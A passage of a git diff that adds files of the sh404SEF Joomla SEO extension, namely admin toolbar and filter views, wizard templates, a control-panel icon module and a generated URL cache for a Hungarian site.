= true, $params); + + // add delete button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdelete404&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'delete', $url, JText::_('Delete'), $msg = JText::_('VALIDDELETEITEMS', true), $task = 'delete', + $list = true, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=view404'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'export', $url, JText::_('Export'), $msg = '', $task = 'export', $list = false, $hidemenu = true, + $params); + + // separator + JToolBarHelper::divider(); + + // add purge and purge selected buttons + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=urls&task=confirmpurge404&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'purge', $url, JText::_('COM_SH404SEF_PURGE'), $msg = JText::_('VALIDDELETEITEMS', true), + $task = 'purge', $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + + } + + /** + * Create toolbar for 404 pages template + * + * @param midxed $params + */ + protected function _makeToolbarView404J3($params = null) + { + // separator + JToolBarHelper::divider(); + + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_404_MANAGER'), 'sh404sef-toolbar-title'); + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + // add edit button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small btn-primary'; + $params['iconClass'] = 'icon-edit'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'edit', JText::_('JTOOLBAR_EDIT'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = '', $params); + + // add delete button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-trash'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdelete404&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'delete', JText::_('JTOOLBAR_DELETE'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add export button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['export']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-download'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=view404'; + $bar + ->appendButton('J3popuptoolbarbutton', 'export', JText::_('COM_SH404SEF_EXPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_EXPORTING_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add purge buttons + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small btn-danger'; + $params['iconClass'] = 'shl-icon-remove-sign'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=urls&task=confirmpurge404&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'purge', JText::_('COM_SH404SEF_PURGE404'), $url, $params['size']['x'], $params['size']['y'], + $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + } + + protected function _doAddFilters() + { + parent::_doAddFilters(); + + if (!$this->slowServer) + { + // select duplicates + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DUPLICATES, 'text' => JText::_('COM_SH404SEF_ONLY_DUPLICATES')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_NO_DUPLICATES, 'text' => JText::_('COM_SH404SEF_ONLY_NO_DUPLICATES'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_DUPLICATES'), 'filter_duplicate', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_duplicate, true)); + + // select aliases + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES, 'text' => JText::_('COM_SH404SEF_ONLY_ALIASES')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES, 'text' => JText::_('COM_SH404SEF_ONLY_NO_ALIASES'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_ALIASES'), 'filter_alias', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_alias, true)); + } + + // select custom + $data = array(array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'text' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'text' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_URL_TYPES'), 'filter_url_type', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_url_type, true)); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.html.php new file mode 100644 index 00000000..f26224c8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.html.php @@ -0,0 +1,181 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + $this->footerText = JText::sprintf('COM_SH404SEF_FOOTER_' . strtoupper(Sh404sefConfigurationEdition::$id), + Sh404sefFactory::getConfig()->version, Sh404sefConfigurationEdition::$name, date('Y')); + + // get model and update context with current + $model = $this->getModel(); + + $context = $model->setContext($this->_context . '.' . $this->getLayout()); + + // display type: simple for very large sites/slow slq servers + $sefConfig = Sh404sefFactory::getConfig(); + + // if set for a slowServer, display simplified version of the url manager + $this->slowServer = $sefConfig->slowServer; + + // read data from model + $list = $model + ->getList((object) array('layout' => $this->getLayout(), 'simpleUrlList' => $this->slowServer, 'slowServer' => $sefConfig->slowServer)); + + // and push it into the view for display + $this->items = $list; + $this->itemCount = count($this->items); + $this->pagination = $model + ->getPagination( + (object) array('layout' => $this->getLayout(), 'simpleUrlList' => $this->slowServer, 'slowServer' => $sefConfig->slowServer)); + $options = $model->getDisplayOptions(); + $this->options = $options; + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_list.css'); + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/j3.js'); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // variable for modal, not used in 3..x+ + $params = array(); + + // add display filters + $this->_addFilters(); + + // render submenu sidebar + $this->sidebar = Sh404sefHelperHtml::renderSubmenu(); + } + else + { + // add our own css + //JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/' . $this->joomlaVersionPrefix . '_urls.css'); + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/list.css'); + + // link to custom javascript + JHtml::script(Sh404sefHelperGeneral::getComponentUrl() . '/assets/js/list.js'); + + // add behaviors and styles as needed + $modalSelector = 'a.modalediturl'; + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) {parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}}'; + $params = array('overlayOpacity' => 0, 'classWindow' => 'sh404sef-popup', 'classOverlay' => 'sh404sef-popup', 'onClose' => $js); + Sh404sefHelperHtml::modal($modalSelector, $params); + + $this->optionsSelect = $this->_makeOptionsSelect($options); + } + + // build the toolbar + $toolbarMethod = '_makeToolbar' . ucfirst($this->getLayout() . ucfirst($this->joomlaVersionPrefix)); + if (is_callable(array($this, $toolbarMethod))) + { + $this->$toolbarMethod($params); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + } + + protected function _makeOptionsSelect($options) + { + $selects = $this->_doMakeOptionsSelect($options); + // return set of select lists + return $selects; + } + + protected function _addFilters() + { + $this->_doAddFilters(); + } + + protected function _doMakeOptionsSelect($options) + { + $selects = new StdClass(); + + // component list + $current = $options->filter_component; + $name = 'filter_component'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_COMPONENTS'); + $selects->components = Sh404sefHelperHtml::buildComponentsSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // language list + $current = $options->filter_language; + $name = 'filter_language'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_LANGUAGES'); + $selects->languages = Sh404sefHelperHtml::buildLanguagesSelectList($current, $name, $autoSubmit = true, $addSelectAll = true, $selectAllTitle); + + // select duplicates + $current = $options->filter_duplicate; + $name = 'filter_duplicate'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_DUPLICATES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_DUPLICATES, 'title' => JText::_('COM_SH404SEF_ONLY_DUPLICATES')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_DUPLICATES, 'title' => JText::_('COM_SH404SEF_ONLY_NO_DUPLICATES'))); + $selects->filter_duplicate = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select aliases + $current = $options->filter_alias; + $name = 'filter_alias'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_ALIASES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_ALIASES')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_NO_ALIASES, 'title' => JText::_('COM_SH404SEF_ONLY_NO_ALIASES'))); + $selects->filter_alias = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // select custom + $current = $options->filter_url_type; + $name = 'filter_url_type'; + $selectAllTitle = JText::_('COM_SH404SEF_ALL_URL_TYPES'); + $data = array(array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'title' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('id' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'title' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + $selects->filter_url_type = Sh404sefHelperHtml::buildSelectList($data, $current, $name, $autoSubmit = true, $addSelectAll = true, + $selectAllTitle); + + // return set of select lists + return $selects; + } + + protected function _doAddFilters() + { + // component selector + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_COMPONENTS'), 'filter_component', + JHtml::_('select.options', Sh404sefHelperGeneral::getComponentsList(), 'element', 'name', $this->options->filter_component, true)); + + // language list + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_LANGUAGES'), 'filter_language', + JHtml::_('select.options', JHtml::_('contentlanguage.existing', $all = false, $translate = true), 'value', 'text', + $this->options->filter_language, false)); + } + +} + +// now include version (lite/pro) specific things +include_once str_replace('.php', '.' . Sh404sefConfigurationEdition::$id . '.php', basename(__FILE__)); diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.raw.php new file mode 100644 index 00000000..4f5d7582 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j2.php new file mode 100644 index 00000000..243a8477 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j2.php @@ -0,0 +1,192 @@ + +
    + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + stepTitle)) { + echo $this->escape( $this->stepTitle); + } + ?> +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +
    +
    +
    +
    + errors)) : ?> +
    +
      + errors as $error) : + echo '
    • ' . $error . '
    • '; + endforeach; + ?> +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + message)) : ?> +
      +
    • message)) echo $this->message; ?>
    • +
    + +
    +
    +
    + +redirectTo)) { + return; +} + +?> +
    +
    +
    +
    +
    +
    +
    + +
    setFormEncType)) { + echo ' enctype="' . $this->setFormEncType . '" '; + } + ?>method="post" name="adminForm" id="adminForm"> + +
    + mainText)) { + echo $this->mainText; + } + + ?> + + + + + + + + buttonsList as $button) { + echo ' ' . "\n"; + } + + // option hidden text as provided by the calling controller + if (!empty( $this->hiddenText)) { + echo $this->hiddenText; + } + ?> + + +
    +
    + + +
    +
    +
    +
    +
    +
    +
    +
    + +toolbar->render(); + +// hard to decide if there is any button in that toolbar ! +if (strpos( $toolbar, '') !== false) : + +?> +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + +continue)) { + $js = ' + + '; + echo $js; + } +?> + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j3.php new file mode 100644 index 00000000..ae509774 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j3.php @@ -0,0 +1,102 @@ +redirectTo)) +{ + + // render a refresh_parent layout + /** + * This layout only insert javascript to close a modal windows + */ + $displayData = new stdClass(); + $displayData->refreshAfter = 0; + $displayData->refreshTo = '"' . $this->redirectTo . '"'; + ShlMvcLayout_Helper::render('com_sh404sef.general.refresh_parent', $displayData); + return; +} + +?> +
    + + +
    setFormEncType)) +{ + echo ' enctype="' . $this->setFormEncType . '" '; +} + ?>method="post" name="adminForm" id="adminForm" class="form-validate form-horizontal"> + +
    + + mainText)) +{ + echo $this->mainText; +} + + ?> +
    + +
    + toolbar)) +{ + echo '
    ' . $this->toolbar . ''; +} + ?> +
    + +
    + + + + + + + buttonsList as $button) +{ + echo ' ' . "\n"; +} + +// option hidden text as provided by the calling controller +if (!empty($this->hiddenText)) +{ + echo $this->hiddenText; +} + ?> + +
    +
    +continue)) +{ + $js = ' + + '; + echo $js; +} +?> + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.html.php new file mode 100644 index 00000000..2593a6c5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.html.php @@ -0,0 +1,172 @@ +joomlaVersionPrefix = Sh404sefHelperGeneral::getJoomlaVersionPrefix(); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + $document = JFactory::getDocument(); + + // add modal css and js + ShlHtmlBs_helper::addBootstrapCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapModalFixCss(JFactory::getDocument()); + ShlHtmlBs_helper::addBootstrapJs(JFactory::getDocument()); + + // build the toolbar + $this->toolbar = $this->_makeToolbarJ3(); + } + else + { // J2 + // if redirecting to another page, we need to simply send some javascript + // to : a / close the popup, b / redirect the parent page to where we + // want to go + // push a title + $this->stepTitle = $this->pageTitle; + + if (!empty($this->redirectTo)) + { + $document = JFactory::getDocument(); + if (!empty($this->redirectTo)) + { + $js = 'window.addEvent( \'domready\', function () { + setTimeout( \'shRedirectTo()\', 100); + }); + function shRedirectTo() { + parent.window.location="' . $this->redirectTo . '"; + } + + '; + $document->addScriptDeclaration($js); + } + } + else + { + // build the toolbar + $this->toolbar = $this->_makeToolbarJ2(); + + // add our own css + JHtml::styleSheet(Sh404sefHelperGeneral::getComponentUrl() . '/assets/css/wizard.css'); + } + + // collect any error + $this->errors = $this->getErrors(); + } + + // now display normally + parent::display($this->joomlaVersionPrefix); + + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbarJ2($params = null) + { + // if redirect is set, no toolbar + if (!empty($this->redirectTo)) + { + return; + } + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // add path to our custom buttons + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + + // display all buttons we are supposed to display + foreach ($this->visibleButtonsList as $button) + { + // we cannot use Joomla's buttons from a popup, as they use href="#" which causes the page to load in parallel with + // closing of the popup. Need use href="javascript: void(0);" + $bar + ->appendButton('Shpopupstandardbutton', $button, JText::_('COM_SH404SEF_WIZARD_' . strtoupper($button)), $task = $button, + $list = false); + } + + return $bar; + } + + /** + * Create toolbar for current view + * + * @param midxed $params + */ + private function _makeToolbarJ3($params = null) + { + // if redirect is set, no toolbar + if (!empty($this->redirectTo)) + { + return; + } + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + // display all buttons we are supposed to display + $buttonsGroup = array(); + $this->visibleButtonsList = array_reverse($this->visibleButtonsList); + foreach ($this->visibleButtonsList as $buttonType) + { + $button = array(); + switch ($buttonType) + { + case 'next': + $button['type'] = 'primary'; + $button['onclick'] = "Joomla.submitbutton('next');"; + break; + case 'previous': + $button['type'] = ''; + $button['onclick'] = "Joomla.submitbutton('previous');"; + ; + break; + case 'terminate': + $button['type'] = 'success'; + $button['onclick'] = "Joomla.submitbutton('terminate');"; + ; + break; + case 'cancel': + $button['type'] = ''; + $button['onclick'] = "Joomla.submitbutton('cancel');"; + ; + break; + } + $button['size'] = 'large'; + $button['text'] = JText::_('COM_SH404SEF_WIZARD_' . strtoupper($buttonType)); + // build a list of buttons + // store button in button group + $buttonsGroup[] = array($button); + + } + $bar = ShlHtmlBs_Helper::buttonsToolbar($buttonsGroup); + return $bar; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.raw.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.raw.php new file mode 100644 index 00000000..9a93bee5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.raw.php @@ -0,0 +1,33 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/index.html b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php new file mode 100644 index 00000000..5b13875b --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php @@ -0,0 +1,39 @@ +authorise('core.manage', 'com_sh404sef')) +{ + return ''; +} + +// check in case sh404sef system plugin has been disabled +if (!class_exists('Sh404sefHelperUpdates')) +{ + return ''; +} + +// define path to sh404SEF front and backend dirs +require_once JPATH_ROOT . '/administrator/components/com_sh404sef/defines.php'; + +if (version_compare(JVERSION, '3.0', 'ge')) +{ + $joomlaVersionPrefix = 'j3'; +} +else +{ + $joomlaVersionPrefix = 'j2'; +} +require JModuleHelper::getLayoutPath('mod_sh404sef_cpicon', 'default_' . $joomlaVersionPrefix); diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml new file mode 100644 index 00000000..ec80dd9c --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml @@ -0,0 +1,34 @@ + + + sh404sef control panel icon + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Quick access icon to reach sh404sef panel and analytics + + mod_sh404sef_cpicon.php + index.html + styles.css + tmpl + + + +
    + + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/styles.css b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/styles.css new file mode 100644 index 00000000..96489b93 --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/styles.css @@ -0,0 +1,46 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +#modsh404_cpanel div.icon { + text-align: center; + margin-right: 5px; + float: left; + margin-bottom: 5px; +} + +#modsh404_cpanel div.icon a { + display: block; + float: left; + border: 1px solid #f0f0f0; + height: 97px; + width: 108px; + color: green; + vertical-align: middle; + text-decoration: none; +} + +#modsh404_cpanel div.icon a:hover { + border-left: 1px solid #eee; + border-top: 1px solid #eee; + border-right: 1px solid #ccc; + border-bottom: 1px solid #ccc; + background: #f9f9f9; + color: #0B55C4; +} + +#modsh404_cpanel span { + display: block; + text-align: center; +} + +#modsh404_cpanel img { + padding: 10px 0; + margin: 0 auto; +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j2.php b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j2.php new file mode 100644 index 00000000..f3ac2d51 --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j2.php @@ -0,0 +1,34 @@ +shouldUpdate ? '
    ' . JText::_('COM_SH404SEF_UPDATE_REQUIRED') . '' + : '
    ' . JText::_('COM_SH404SEF_UPDATE_NOT_REQUIRED') . ''; +?> + + diff --git a/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j3.php b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j3.php new file mode 100644 index 00000000..2297e659 --- /dev/null +++ b/deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j3.php @@ -0,0 +1,31 @@ +shouldUpdate) { + $updateText = JText::_('COM_SH404SEF_UPDATE_REQUIRED'); + $class = 'badge badge-warning'; + } else { + return; + } + +?> + + diff --git a/deployed/sh404sef/components/com_sh404sef/cache/index.html b/deployed/sh404sef/components/com_sh404sef/cache/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/cache/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.02d49a3aafc62f9ee0bccaa9e183178e.php b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.02d49a3aafc62f9ee0bccaa9e183178e.php new file mode 100644 index 00000000..fe788328 --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.02d49a3aafc62f9ee0bccaa9e183178e.php @@ -0,0 +1,178 @@ +_urlCache['3413a98bba684e38b03c495df86ec06a']='index.php?option=com_sppagebuilder&Itemid=801&id=403&lang=hu&layout=edit&tmpl=component&view=form#edit/403#0'; +$this->_urlCache['99433b5babee3234fc82c92346ce89ed']='index.php?option=com_users&Itemid=&lang=hu&view=registration#fiok-letrehozasa/#0'; +$this->_urlCache['a1453c562f683c8290e02a2621236fed']='index.php?option=com_users&Itemid=&lang=hu&view=remind#lost-user-name/#0'; +$this->_urlCache['6122dde37c830dd6fa6357288bd7094d']='index.php?option=com_users&Itemid=&lang=hu&view=reset#elfelejtett-jelszo/#0'; +$this->_urlCache['24c911632b521b8c56826f09b8c8d6f6']='index.php?option=com_sppagebuilder&Itemid=742&id=342&lang=hu&view=page#attekintes#1'; +$this->_urlCache['40b98f2544f23b0e8ca78714bfe41b05']='index.php?option=com_sppagebuilder&Itemid=740&id=340&lang=hu&view=page#attekintes/epiteszeti-elonyok#1'; +$this->_urlCache['5b8fabcda63b52fd3e0a5732058217c4']='index.php?option=com_sppagebuilder&Itemid=741&id=341&lang=hu&view=page#attekintes/belsoepiteszeti-elonyok#1'; +$this->_urlCache['55d8986940d6f81dae6a81301bbd64ba']='index.php?option=com_sppagebuilder&Itemid=743&id=343&lang=hu&view=page#attekintes/latvanytervezes#1'; +$this->_urlCache['54ebd63b65178d4f1b2da401bacfbfe4']='index.php?option=com_sppagebuilder&Itemid=744&id=344&lang=hu&view=page#attekintes/fotorealisztikus-megjelenites#1'; +$this->_urlCache['e413b67fc587e36e77cbc262d5f5d69b']='index.php?option=com_sppagebuilder&Itemid=787&id=390&lang=hu&view=page#termekek/ai-render#0'; +$this->_urlCache['6c46ce4f996f55102ebf7fcda028fdd7']='index.php?option=com_sppagebuilder&Itemid=793&id=395&lang=hu&view=page#termekek/d5-render-plugin#1'; +$this->_urlCache['ee2fb44ccb8a7d16a48d8789b56282fe']='index.php?option=com_sppagebuilder&Itemid=781&id=385&lang=hu&view=page#termekek/viewer-mobil-alkalmazas#0'; +$this->_urlCache['7ed41f22f964d196d7d0ae3e795e38c9']='index.php?option=com_sppagebuilder&Itemid=770&id=373&lang=hu&view=page#attekintes/ujdonsagok-2025#1'; +$this->_urlCache['19d7a7c134b6f7ab5c11f539f3e4cf7d']='index.php?option=com_sppagebuilder&Itemid=720&id=337&lang=hu&view=page#termekek/ujdonsagok#0'; +$this->_urlCache['657e058a73a0323b4331043d3381065c']='index.php?option=com_sppagebuilder&Itemid=648&id=279&lang=hu&view=page#termekek/archline-xp-live-2021#0'; +$this->_urlCache['a5a7f1b445a4a4aef68e2f2f583d0e4a']='index.php?option=com_sppagebuilder&Itemid=799&id=401&lang=hu&view=page#termekek/ujdonsagok-2026#0'; +$this->_urlCache['067f2c3e29ecd227d455cc06a6bcb829']='index.php?option=com_content&Itemid=366&id=24&lang=hu&layout=blog&view=category#blog/munkak-bemutatasa/#0'; +$this->_urlCache['fea6425fa65538143af33b19ef970fea']='index.php?option=com_content&Itemid=367&id=25&lang=hu&layout=blog&view=category#blog/szakmai-cikkek/#0'; +$this->_urlCache['329dd2e1ab2b59f87c5341b5422d7a44']='index.php?option=com_sppagebuilder&Itemid=381&id=104&lang=hu&view=page#termekek/archline-xp-professional/galeria#1'; +$this->_urlCache['542300e2ab18917b441d0effd2866c0c']='index.php?option=com_sppagebuilder&Itemid=750&id=359&lang=hu&view=page#termekek/archline-xp-professional/galeria/epiteszeti-galeria#1'; +$this->_urlCache['23bc39175acf7d884a148a999df69500']='index.php?option=com_sppagebuilder&Itemid=751&id=360&lang=hu&view=page#termekek/archline-xp-professional/galeria/belsoepiteszeti-galeria#1'; +$this->_urlCache['c9a8266a9eea3286b6895c034c29948b']='index.php?option=com_sppagebuilder&Itemid=791&id=394&lang=hu&view=page#blog/galeria/ai-render-galeria#0'; +$this->_urlCache['bb21dab8da1a78238f91019eb5506ea6']='index.php?option=com_sppagebuilder&Itemid=608&id=65&lang=hu&view=page#oktatas/dokumentaciok#1'; 